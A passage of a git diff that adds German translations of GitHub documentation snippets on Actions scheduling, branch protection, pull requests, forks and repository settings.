+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090775"
+---
+Mit {% data variables.product.prodname_actions %} können Sie End-to-End-Funktionen für die fortlaufende Integration und die fortlaufende Bereitstellung direkt im Repository erstellen.
diff --git a/translations/de-DE/data/reusables/repositories/actions-env-var-note.md b/translations/de-DE/data/reusables/repositories/actions-env-var-note.md
new file mode 100644
index 0000000000..8a9a0b5b31
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/actions-env-var-note.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 81a94e9dce7fe1354dc1a32f0540ef90a4fe8dcb
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105788"
+---
+Wenn mehr als eine Umgebungsvariable mit dem gleichen Namen definiert ist, verwendet {% data variables.product.prodname_dotcom %} die spezifischste Umgebungsvariable. Beispielsweise wird eine in einem Schritt definierte Umgebungsvariable die Auftrags- und Workflow-Variablen mit dem gleichen Namen überschreiben, während der Schritt ausgeführt wird. Eine für einen Auftrag definierte Variable überschreibt die Workflow-Variable mit dem gleichen Namen, während der Auftrag ausgeführt wird.
diff --git a/translations/de-DE/data/reusables/repositories/actions-scheduled-workflow-example.md b/translations/de-DE/data/reusables/repositories/actions-scheduled-workflow-example.md
new file mode 100644
index 0000000000..0de4f25716
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/actions-scheduled-workflow-example.md
@@ -0,0 +1,38 @@
+---
+ms.openlocfilehash: d17a60d7bf330c0c7fd3acfacd7652a054cf7c86
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885019"
+---
+Mithilfe der [POSIX-Cron-Syntax](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07) kannst du einen Workflow so planen, dass er zu bestimmten UTC-Zeiten ausgeführt wird. Geplante Workflows laufen auf dem jüngsten Commit auf dem Standard- oder Basisbranch. Das kürzeste Intervall, in dem Du geplante Workflows ausführen kannst, ist einmal alle 5 Minuten.
+
+In diesem Beispiel wird der Workflow jeden Tag um 5:30 Uhr und 17:30 Uhr UTC ausgelöst:
+
+```yaml
+on:
+  schedule:
+    # * is a special character in YAML so you have to quote this string
+    - cron:  '30 5,17 * * *'
+
+```
+
+Ein einzelner Workflow kann durch mehrere `schedule`-Ereignisse ausgelöst werden. Über den Kontext `github.event.schedule` kannst du auf das Zeitplanereignis zugreifen, das den Workflow ausgelöst hat. In diesem Beispiel wird der Workflow von Montag bis Donnerstag um 5:30 Uhr UTC gestartet, wobei der Schritt `Not on Monday or Wednesday` am Montag und Mittwoch übersprungen wird.
+
+```yaml
+on:
+  schedule:
+    - cron: '30 5 * * 1,3'
+    - cron: '30 5 * * 2,4'
+
+jobs:
+  test_schedule:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Not on Monday or Wednesday
+        if: github.event.schedule != '30 5 * * 1,3'
+        run: echo "This step will be skipped on Monday and Wednesday"
+      - name: Every time
+        run: echo "This step will always run"
+```
diff --git a/translations/de-DE/data/reusables/repositories/actions-tab.md b/translations/de-DE/data/reusables/repositories/actions-tab.md
new file mode 100644
index 0000000000..8d97653ad4
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/actions-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 89f73073f0f21f64309554c4d2de7c95a12c526f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105787"
+---
+1. Klicke unter deinem Repositorynamen auf {% octicon "play" aria-label="The Play icon" %} **Aktionen**.
+  ![Registerkarte „Aktionen“ auf der Navigationsleiste des Hauptrepositorys](/assets/images/help/repository/actions-tab.png)
diff --git a/translations/de-DE/data/reusables/repositories/actions-workflow-status-badge-intro.md b/translations/de-DE/data/reusables/repositories/actions-workflow-status-badge-intro.md
new file mode 100644
index 0000000000..f0848945c8
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/actions-workflow-status-badge-intro.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 97d374bb242b29d797ec1ef84779edce618b1624
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090744"
+---
+Ein Statusbadge zeigt an, ob ein Workflow derzeit fehlerhaft oder korrekt ausgeführt wird. Ein gängiger Ort für ein Statusbadge ist die Datei `README.md` deines Repositorys, du kannst den Badge aber zu jeder beliebigen Webseite hinzufügen. Standardmäßig zeigen Badges den Status deines Standardbranchs an. Du kannst auch den Status einer Workflowausführung für einen bestimmten Branch oder ein bestimmtes Ereignis anzeigen, indem du die Abfrageparameter `branch` und `event` in der URL verwendest.
+
+![Beispiel für Statusbadge](/assets/images/help/repository/actions-workflow-status-badge.png)
diff --git a/translations/de-DE/data/reusables/repositories/add-branch-protection-rules.md b/translations/de-DE/data/reusables/repositories/add-branch-protection-rules.md
new file mode 100644
index 0000000000..f5f5c74167
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/add-branch-protection-rules.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 004523ec6772ce099d370a3e76ec6b40ff3ea9e5
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883425"
+---
+4. Klicke neben „Branchschutzregeln“ auf **Regel hinzufügen**.
+  ![Schaltfläche zum Hinzufügen von Branchschutzregeln](/assets/images/help/branches/add-branch-protection-rule.png)
+5. Gib unter „Branch name pattern" (Branch-Namensmuster) den Branch-Namen oder das Muster ein, das Du schützen möchtest.
+  ![Feld „Branchregel“](/assets/images/help/branches/specify-branch-protection-rule.png)
diff --git a/translations/de-DE/data/reusables/repositories/administrators-can-disable-issues.md b/translations/de-DE/data/reusables/repositories/administrators-can-disable-issues.md
new file mode 100644
index 0000000000..883984bca7
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/administrators-can-disable-issues.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b6eb1eb519122420badb8988acceb796752a7cc8
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879267"
+---
+Repositoryadministratoren können Issues für ein Repository deaktivieren. Weitere Informationen findest du unter [Deaktivieren von Issues](/github/managing-your-work-on-github/disabling-issues).
diff --git a/translations/de-DE/data/reusables/repositories/allow-maintainers-user-forks.md b/translations/de-DE/data/reusables/repositories/allow-maintainers-user-forks.md
new file mode 100644
index 0000000000..f4554556ed
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/allow-maintainers-user-forks.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 3c71b4f4d9bfae794b8325c01d85db55f91c2fa8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882867"
+---
+1. Wenn du bei benutzereigenen Forks allen Personen mit Pushzugriff auf das Upstreamrepository erlauben möchtest, Änderungen an deinem Pull Request vorzunehmen, wähle **Bearbeitungen von Maintainern zulassen** aus.
+
+    {% warning %}
+
+    **Warnung:** Wenn dein Fork {% data variables.product.prodname_actions %}-Workflows enthält, lautet die Option **Bearbeitungen und Zugriff auf Geheimnisse durch Maintainer zulassen**. Wenn du die Bearbeitung des Branches eines Forks zulässt, der {% data variables.product.prodname_actions %}-Workflows enthält, kann ein Maintainer auch die Workflows des geforkten Repositorys bearbeiten, wodurch möglicherweise Werte von Geheimnissen preisgegeben werden und Zugriff auf andere Branches gewährt wird.
+
+    {% endwarning %}
diff --git a/translations/de-DE/data/reusables/repositories/anyone-can-view-anonymized-url.md b/translations/de-DE/data/reusables/repositories/anyone-can-view-anonymized-url.md
new file mode 100644
index 0000000000..b626985cce
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/anyone-can-view-anonymized-url.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 478008cfe79ec4fe3c32c154af38692879f5c807
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: "148160768"
+---
+{% warning %}
+
+**Warnung:** Wenn du ein Bild oder Video an einen Pull Request oder Issuekommentar bzw. eine Datei an ein Ticket in {% data variables.contact.support_portal %} hochlädst, kann jeder die anonymisierte URL ohne Authentifizierung anzeigen, auch wenn sich der Pull Request oder Issue in einem privaten Repository{% ifversion ghes %} befindet oder der private Modus aktiviert ist{% endif %}. Um vertrauliche Mediendateien zu schützen, stelle sie über ein privates Netzwerk oder einen Server bereit, der eine Authentifizierung vorschreibt. {% ifversion fpt or ghec %} Weitere Informationen zu anonymisierten URLs findest du unter [Informationen zu anonymisierten URLs](/github/authenticating-to-github/about-anonymized-urls).{% endif %}
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/repositories/archiving-repositories-recommendation.md b/translations/de-DE/data/reusables/repositories/archiving-repositories-recommendation.md
new file mode 100644
index 0000000000..5427335088
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/archiving-repositories-recommendation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3041d683e33de9ea186f576d7641fc8ab5d22aa2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090738"
+---
+Du solltest alle Issues und Pull Requests schließen und die README-Datei sowie die Beschreibung aktualisieren, bevor Du ein Repository archivierst.
diff --git a/translations/de-DE/data/reusables/repositories/asking-for-review.md b/translations/de-DE/data/reusables/repositories/asking-for-review.md
new file mode 100644
index 0000000000..5d57d6df89
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/asking-for-review.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: aa89b0e3d90e71975e4dd0eed20ad5b63a9152db
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105776"
+---
+{% tip %}
+
+**Tipp**: Nachdem du einen Pull Request erstellt hast, kannst du eine bestimmte Person bitten, [deine vorgeschlagenen Änderungen zu überprüfen](/articles/reviewing-proposed-changes-in-a-pull-request). Weitere Informationen findest du unter [Anfordern eines Pull Request-Reviews](/articles/requesting-a-pull-request-review).
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/repositories/assign-an-issue-as-project-maintainer.md b/translations/de-DE/data/reusables/repositories/assign-an-issue-as-project-maintainer.md
new file mode 100644
index 0000000000..9d4951642a
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/assign-an-issue-as-project-maintainer.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 48f0e78112cd03502751dc0051f3b9232c316e29
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880156"
+---
+1. Wenn du Projektbetreuer*in bist, kannst du [das Issue jemandem zuweisen](/articles/assigning-issues-and-pull-requests-to-other-github-users), [es einem Projektboard hinzufügen](/articles/adding-issues-and-pull-requests-to-a-project-board/#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar), [ihm einen Meilenstein zuordnen](/articles/associating-milestones-with-issues-and-pull-requests) oder [eine Bezeichnung anwenden](/articles/applying-labels-to-issues-and-pull-requests).
diff --git a/translations/de-DE/data/reusables/repositories/auto-gen-release-public-beta.md b/translations/de-DE/data/reusables/repositories/auto-gen-release-public-beta.md
new file mode 100644
index 0000000000..982cf174da
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/auto-gen-release-public-beta.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5c427a1c0948c0ededbec9d5a105530ab4cf228e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884907"
+---
+Automatisch generierte Versionshinweise befinden sich derzeit in der öffentlichen Betaversion und können noch geändert werden.
diff --git a/translations/de-DE/data/reusables/repositories/autolink-references.md b/translations/de-DE/data/reusables/repositories/autolink-references.md
new file mode 100644
index 0000000000..04e8df630a
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/autolink-references.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8f86af14084e29243cbea818b303fb0161b4dea3
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879905"
+---
+Wenn benutzerdefinierte Autolink-Referenzen für ein Repository konfiguriert sind, werden Verweise auf externe Ressourcen, beispielsweise ein JIRA-Issue oder ein Zendesk-Ticket, in verkürzte Links umgewandelt. Wenn Du wissen möchtest, welche automatische Verknüpfungen in Deinem Repository verfügbar sind, wende Dich an eine Person mit Administratorberechtigungen für das Repository. Weitere Informationen findest du unter [Konfigurieren von Autolinks zum Verweisen auf externe Ressourcen](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources).
diff --git a/translations/de-DE/data/reusables/repositories/blocked-passwords.md b/translations/de-DE/data/reusables/repositories/blocked-passwords.md
new file mode 100644
index 0000000000..41baa0f8d8
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/blocked-passwords.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 1f59c95d79ab5fa0f778e05379112ec4b82afd42
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105764"
+---
+{% ifversion fpt or ghec %} Wenn du ein Anmeldekennwort eingibst, ein Konto erstellst oder dein Kennwort änderst, überprüft {% data variables.product.product_name %}, ob das von dir eingegebene Kennwort gemäß Datasets wie HaveIBeenPwned als unsicher erachtet wird. Das Passwort wird möglicherweise als unsicher erkannt, selbst wenn du dieses Passwort zuvor noch nie verwendet hast.
+
+{% data variables.product.product_name %} überprüft das Passwort nur zum Eingabezeitpunkt und wird das eingegebene Passwort nie im Klartext speichern. Weitere Informationen findest du unter [HaveIBeenPwned](https://haveibeenpwned.com/).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/branch-rules-example.md b/translations/de-DE/data/reusables/repositories/branch-rules-example.md
new file mode 100644
index 0000000000..e567403aab
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/branch-rules-example.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 26877ad81c655c7ca312922a76e661c02574fb53
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090727"
+---
+Du kannst eine Branchschutzregel in einem Repository für einen bestimmten Branch, für alle Branches oder für solche Branches erstellen, die mit einem Namensmuster übereinstimmen, das du mithilfe der `fnmatch`-Syntax angibst. Um beispielsweise alle Branches zu schützen, die das Wort `release` enthalten, kannst du eine Branchregel für `*release*` erstellen.
diff --git a/translations/de-DE/data/reusables/repositories/changed-files.md b/translations/de-DE/data/reusables/repositories/changed-files.md
new file mode 100644
index 0000000000..35f3c7b5e8
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/changed-files.md
@@ -0,0 +1,2 @@
+1. On the pull request, click {% octicon "file-diff" aria-label="The file diff icon" %} **Files changed**.
+  ![Pull Request Files changed tab](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png)
diff --git a/translations/de-DE/data/reusables/repositories/changed-repository-access-permissions.md b/translations/de-DE/data/reusables/repositories/changed-repository-access-permissions.md
new file mode 100644
index 0000000000..9de36aacbc
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/changed-repository-access-permissions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d75898415f7b68728d0cce9f8206b66e19951190
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090726"
+---
+8. Mache Dich mit den geänderten Repository-Zugriffsberechtigungen vertraut.
diff --git a/translations/de-DE/data/reusables/repositories/choose-line-or-range.md b/translations/de-DE/data/reusables/repositories/choose-line-or-range.md
new file mode 100644
index 0000000000..f6b5e766cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/choose-line-or-range.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6e768815225539268c5efd5e3b97ee691be40044
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881082"
+---
+1. Wähle, ob eine einzelne Zeile oder ein Bereich ausgewählt werden soll:
+    - Um eine einzelne Codezeile zu auszuwählen, klicke auf die Zeilennummer, um die Zeile hervorzuheben.
+    ![Datei mit Auswahl einer einzelnen Codezeile](/assets/images/help/repository/highlight-line-of-code.png)
+      - Klicke zum Auswählen eines Codebereichs auf die Zeilennummer der ersten Zeile im Bereich, um die Codezeile hervorzuheben. Bewege anschließend den Mauszeiger über die letzte Zeile im Codebereich, drücke die <kbd>UMSCHALTTASTE</kbd>, und klicke auf die Zeilennummer, um den Bereich hervorzuheben.
+    ![Datei mit Auswahl eines Codebereichs](/assets/images/help/repository/highlight-range-of-code.png)
diff --git a/translations/de-DE/data/reusables/repositories/choose-pr-review.md b/translations/de-DE/data/reusables/repositories/choose-pr-review.md
new file mode 100644
index 0000000000..2f7d7126a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/choose-pr-review.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c5b00062505febe2106cb9c43d036fa3bce44087
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090721"
+---
+1. Klicke in der Liste der Pull Requests auf den Pull Request, den Du überprüfen möchtest.
diff --git a/translations/de-DE/data/reusables/repositories/choose-repo-visibility.md b/translations/de-DE/data/reusables/repositories/choose-repo-visibility.md
new file mode 100644
index 0000000000..4c08c9687e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/choose-repo-visibility.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e23feed170d80280d68761feb7d191866bebfb67
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105751"
+---
+1. Wähle eine Sichtbarkeitsoption für das Repository aus. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+  ![Optionsfelder zum Auswählen der Repositorysichtbarkeit](/assets/images/help/repository/create-repository-public-private.png)
diff --git a/translations/de-DE/data/reusables/repositories/click-collaborators-teams.md b/translations/de-DE/data/reusables/repositories/click-collaborators-teams.md
new file mode 100644
index 0000000000..89e6074a08
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/click-collaborators-teams.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8da3ff4cea66c11c76784868b4691e97c134a7f5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090720"
+---
+1. Klicke auf der Randleiste im Abschnitt „Zugriff“ auf **{% octicon "people" aria-label="The people icon" %} Mitarbeiter & Teams**.
diff --git a/translations/de-DE/data/reusables/repositories/click-dependency-graph.md b/translations/de-DE/data/reusables/repositories/click-dependency-graph.md
new file mode 100644
index 0000000000..6b1af6b8a1
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/click-dependency-graph.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: bccecf3f08be69659594b8c1de9f9c3d722e2652
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105748"
+---
+3. Klicke auf der linken Randleiste auf **Abhängigkeitsdiagramm**.
+![Registerkarte „Abhängigkeitsdiagramm“ auf der linken Randleiste](/assets/images/help/graphs/graphs-sidebar-dependency-graph.png)
diff --git a/translations/de-DE/data/reusables/repositories/commit-signoffs.md b/translations/de-DE/data/reusables/repositories/commit-signoffs.md
new file mode 100644
index 0000000000..f7f3487755
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/commit-signoffs.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 1b3e7f64c7507fde4a126cddaca3c4a97247d967
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109481"
+---
+Das obligatorische Abzeichnen von Commits gilt nur für Commits, die auf der Weboberfläche erfolgen. Bei Commits über die Git-Befehlszeilenschnittstelle muss der Autor des Commits den Commit mit der Option `--signoff` abzeichnen. Weitere Informationen findest du in der [Git-Dokumentation](https://git-scm.com/docs/git-commit).
+
+
+Du kannst feststellen, ob für ein Repository, an dem du mitwirkst, das obligatorische Abzeichnen von Commits aktiviert ist, indem du den Header des Commitformulars am Ende der von dir bearbeiteten Datei überprüfst. Nachdem das obligatorische Abzeichnen von Commits aktiviert wurde, steht im Header „Änderungen abzeichnen und committen“.
+
+![Screenshot des Commitformulars mit aktiviertem obligatorischen Abzeichnen](/assets/images/help/commits/commit-form-with-signoff-enabled.png)
+
+Ehe du einen Commit abzeichnest, solltest du dich vergewissern, dass dein Commit mit den Regeln und Lizenzen des Repositorys übereinstimmt, in das du committest. Das Repository kann eine Abzeichnungsvereinbarung verwenden, z. B. das Developer Certificate of Origin der Linux Foundation. Weitere Informationen findest du im [Developer Certificate of Origin](https://developercertificate.org/).
+
+Das Abzeichnen eines Commits unterscheidet sich vom Signieren eines Commits. Weitere Informationen zum Signieren eines Commits findest du unter [Informationen zur Commitsignaturverifizierung](/authentication/managing-commit-signature-verification/about-commit-signature-verification).
diff --git a/translations/de-DE/data/reusables/repositories/copy-clone-url.md b/translations/de-DE/data/reusables/repositories/copy-clone-url.md
new file mode 100644
index 0000000000..96b0ef3fe4
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/copy-clone-url.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: b0187ce452baee47916c464beb47abb64ae616ab
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090690"
+---
+1. Klicke oberhalb der Liste der Dateien auf {% octicon "download" aria-label="The download icon" %} **Code**.
+  ![Schaltfläche „Code“](/assets/images/help/repository/code-button.png)
+1. Kopiere die URL für das Repository.
+
+   - Um ein Repository über HTTPS zu klonen, klicke unter „HTTPS“ auf {% octicon "clippy" aria-label="The clipboard icon" %}. 
+   - Wenn du das Repository mithilfe eines SSH-Schlüssels klonen möchtest, einschließlich eines Zertifikats, das von der SSH-Zertifizierungsstelle deiner Organisation ausgestellt wurde, klicke auf **SSH** und dann auf {% octicon "clippy" aria-label="The clipboard icon" %}. 
+   - Um ein Repository über die {% data variables.product.prodname_cli %} zu klonen, klicke auf **{% data variables.product.prodname_cli %}** und dann auf {% octicon "clippy" aria-label="The clipboard icon" %}.
+  ![Das Zwischenablagesymbol zum Kopieren der URL zum Klonen eines Repositorys mit der GitHub-CLI](/assets/images/help/repository/https-url-clone-cli.png)
diff --git a/translations/de-DE/data/reusables/repositories/create-pull-request.md b/translations/de-DE/data/reusables/repositories/create-pull-request.md
new file mode 100644
index 0000000000..6d84012f40
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/create-pull-request.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 88ff6aa57365fe0413a0fb1a9c814f517936f6fd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105747"
+---
+1. Klicke zum Erstellen eines Pull Requests, der überprüft werden kann, auf **Pull Request erstellen**.
+Verwende zum Erstellen eines Pull Request-Entwurfs das Dropdownmenü. Wähle **Pull Request-Entwurf erstellen** aus, und klicke anschließend auf **Pull Request-Entwurf**. Weitere Informationen zum Entwerfen von Pull Requests findest du unter [Informationen zu Pull Requests](/articles/about-pull-requests#draft-pull-requests). ![Schaltfläche „Pull Request erstellen“](/assets/images/help/pull_requests/pullrequest-send.png)
diff --git a/translations/de-DE/data/reusables/repositories/create-repo.md b/translations/de-DE/data/reusables/repositories/create-repo.md
new file mode 100644
index 0000000000..014bb323ac
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/create-repo.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f91e78ef667242e5adb3730c77bf965037a1a1c8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090685"
+---
+1. Klicke auf **Repository erstellen**.
+  ![Schaltfläche zum Erstellen eines Repositorys](/assets/images/help/repository/create-repository-button.png)
diff --git a/translations/de-DE/data/reusables/repositories/create_new.md b/translations/de-DE/data/reusables/repositories/create_new.md
new file mode 100644
index 0000000000..8f4ef7af0d
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/create_new.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e450bc67fb7405ab4484df1a68525815898c65f5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105744"
+---
+1. Verwende in der oberen rechten Ecke einer beliebigen Seite das {% octicon "plus" aria-label="Plus symbol" %}-Dropdownmenü, und wähle **Neues Repository** aus.
+![Dropdownmenü mit der Option zum Erstellen eines neuen Repositorys](/assets/images/help/repository/repo-create.png)
diff --git a/translations/de-DE/data/reusables/repositories/default-issue-templates.md b/translations/de-DE/data/reusables/repositories/default-issue-templates.md
new file mode 100644
index 0000000000..a5373eab15
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/default-issue-templates.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e3bab898559b43d2881e212fd83b7d2042a76f70
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090684"
+---
+Du kannst für deine Organisation oder dein persönliches Konto standardmäßige Vorlagen für Issues und eine Standardkonfigurationsdatei für Issues erstellen. Weitere Informationen findest du unter [Erstellen einer Standard-Communityintegritätsdatei](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file).
diff --git a/translations/de-DE/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md b/translations/de-DE/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md
new file mode 100644
index 0000000000..1624763570
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 444e70adced8ef2f4fdc5f91b06a28bba89c898a
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879260"
+---
+{% warning %}
+
+**Warnung:**
+
+- Wenn du den Zugriff einer Person auf ein privates Repository entfernst, werden all ihre Forks in diesem privaten Repositorys gelöscht. Lokale Klone des privaten Repositorys werden beibehalten. Wenn der Zugriff eines Teams auf ein privates Repository widerrufen wird oder ein Team mit Zugriff auf ein privates Repository gelöscht wird und die Teammitglieder nicht über ein anderes Team auf das Repository zugreifen können, werden die privaten Forks des Repositorys gelöscht.{% ifversion ghes %}
+- Wenn die [LDAP-Synchronisierung aktiviert ist](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync), verliert eine Person, die du aus einem Repository entfernst, ihren Zugriff, aber ihre Forks werden nicht gelöscht. Wenn die Person innerhalb von drei Monaten einem Team mit Zugriff auf das ursprüngliche Organisations-Repository hinzugefügt wird, wird ihr Zugriff auf die Forks bei der nächsten Synchronisierung automatisch wiederhergestellt.{% endif %}
